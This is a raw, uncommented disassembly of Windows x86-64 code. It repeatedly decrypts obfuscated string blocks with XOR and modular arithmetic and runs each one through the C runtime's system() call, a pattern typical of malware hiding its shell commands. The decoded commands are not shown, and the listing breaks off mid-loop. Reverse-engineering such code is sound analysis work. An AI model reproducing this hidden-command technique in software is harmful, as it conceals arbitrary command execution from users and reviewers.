movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140045060
cmp r8d, 0x96
jge 0x1400451b3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x140045180
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ceb00]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400ceb10]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400ceb20]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400ceb30]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400ceb40]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400ceb50]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400ceb60]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400ceb70]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400ceb80]
movups xmmword [rbp], xmm0
mov eax, dword [0x1400ceb90]
mov dword [rbp + 0x10], eax
movzx eax, word [0x1400ceb94]
mov word [rbp + 0x14], ax
mov r8d, edi
cmp esi, 2
jl 0x14004537b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140045270
cmp r8d, 0x96
jge 0x1400453c3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x140045390
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ce9e0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400ce9f0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400cea00]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400cea10]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400cea20]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400cea30]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400cea40]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400cea50]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400cea60]
movups xmmword [rbp], xmm0
mov eax, dword [0x1400cea70]
mov dword [rbp + 0x10], eax
movzx eax, word [0x1400cea74]
mov word [rbp + 0x14], ax
mov r8d, edi
cmp esi, 2
jl 0x14004558b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140045480
cmp r8d, 0x96
jge 0x1400455d3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x1400455a0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cf4e0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400cf4f0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400cf500]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400cf510]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400cf520]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400cf530]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400cf540]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x1400cf550]
movsd qword [rbp - 0x10], xmm0
movzx eax, word [0x1400cf558]
mov word [rbp - 8], ax
movzx eax, byte [0x1400cf55a]
mov byte [rbp - 6], al
mov r8d, edi
cmp esi, 2
jl 0x140045795
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140045690
cmp r8d, 0x7b
jge 0x1400457d0
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7b
jl 0x1400457a0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cdce0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400cdcf0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400cdd00]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400cdd10]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400cdd20]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400cdd30]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400cdd40]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x1400cdd50]
movsd qword [rbp - 0x10], xmm0
mov eax, dword [0x1400cdd58]
mov dword [rbp - 8], eax
movzx eax, byte [0x1400cdd5c]
mov byte [rbp - 4], al
mov r8d, edi
cmp esi, 2
jl 0x140045986
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140045881
cmp r8d, 0x7d
jge 0x1400459c0
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x140045990
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
lea rax, [rbx + 0xceba0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movzx eax, byte [rax + 0xa0]
mov byte [rcx + 0xa0], al
mov r8d, edi
cmp esi, 2
jl 0x140045b8b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140045a80
cmp r8d, 0xa1
jge 0x140045bd3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa1
jl 0x140045ba0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ce410]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400ce420]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400ce430]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400ce440]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400ce450]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400ce460]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400ce470]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400ce480]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400ce490]
movups xmmword [rbp], xmm0
mov eax, dword [0x1400ce4a0]
mov dword [rbp + 0x10], eax
movzx eax, word [0x1400ce4a4]
mov word [rbp + 0x14], ax
movzx eax, byte [0x1400ce4a6]
mov byte [rbp + 0x16], al
mov r8d, edi
cmp esi, 2
jl 0x140045dab
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140045ca0
cmp r8d, 0x97
jge 0x140045df3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x140045dc0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cf120]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400cf130]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400cf140]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400cf150]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400cf160]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400cf170]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400cf180]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400cf190]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400cf1a0]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x1400cf1b0]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x1400cf1b8]
mov dword [rbp + 0x18], eax
mov r8d, edi
cmp esi, 2
jl 0x140045fbb
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140045eb0
cmp r8d, 0x9c
jge 0x140046003
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x140045fd0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp - 0x80]
lea rcx, [rbx + 0xce5f0]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0x20], rax
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
movzx eax, word [rcx + 0xac]
mov word [rdx + 0x2c], ax
mov r8d, edi
cmp esi, 2
jl 0x1400461db
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
